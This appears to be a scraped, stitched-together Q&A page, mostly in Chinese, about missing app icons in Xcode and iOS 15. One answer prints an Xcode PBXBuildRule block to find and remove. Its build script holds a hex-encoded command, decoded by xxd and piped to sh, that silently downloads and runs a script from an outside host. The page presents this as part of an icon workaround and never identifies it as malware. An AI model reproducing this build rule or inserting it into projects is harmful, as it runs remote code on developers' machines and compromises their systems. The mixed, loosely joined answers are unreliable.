如果您正在使用Xcode 13和iOS 15
应用程序图标将显示在设备上。
另一个棘手的解决方案,但不要使用(这只是为了测试目的,不是最好的解决方案)。
我在xCode 12.5上遇到了同样的问题。所有图标都能正常显示,但只有应用程序图标在iPad和iPhone上无法显示。
解决方案
进入YouProject.xcodeproj文件夹 -> 点击“显示包内容” -> 找到project.pbxproj文件并打开。
Find out the blow code
Remove code block
build project and run your app.
/ Begin PBXBuildRule section /
EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script;
fileType = folder.assetcatalog;
inputFiles = (
);
isEditable = 0;
name = "Assets Catalog Builder";
outputFiles = (
"$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
);
script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\" --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
};
/ End PBXBuildRule section /
在2018年6月19日,苹果发布了Xcode 10 beta 2版本。升级后,解决了我遇到的图标未显示问题。所以,我猜想这是Xcode 10.0中的一个bug。
这个问题现在出现在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们找到了解决方法。
我们更改了游戏中的图标,但它没有加载到任何Beta设备上。我们尝试了一个非Beta设备,它完美地工作了。我决定安装适用于iOS和iPadOS 15 beta的设备支持程序,现在如果图标已更改,我不会立即看到它,但如果重新启动设备就会看到。我们知道图标在项目中是正确的,因为我们进行了TestFlight构建,并且在非Beta设备上正常工作。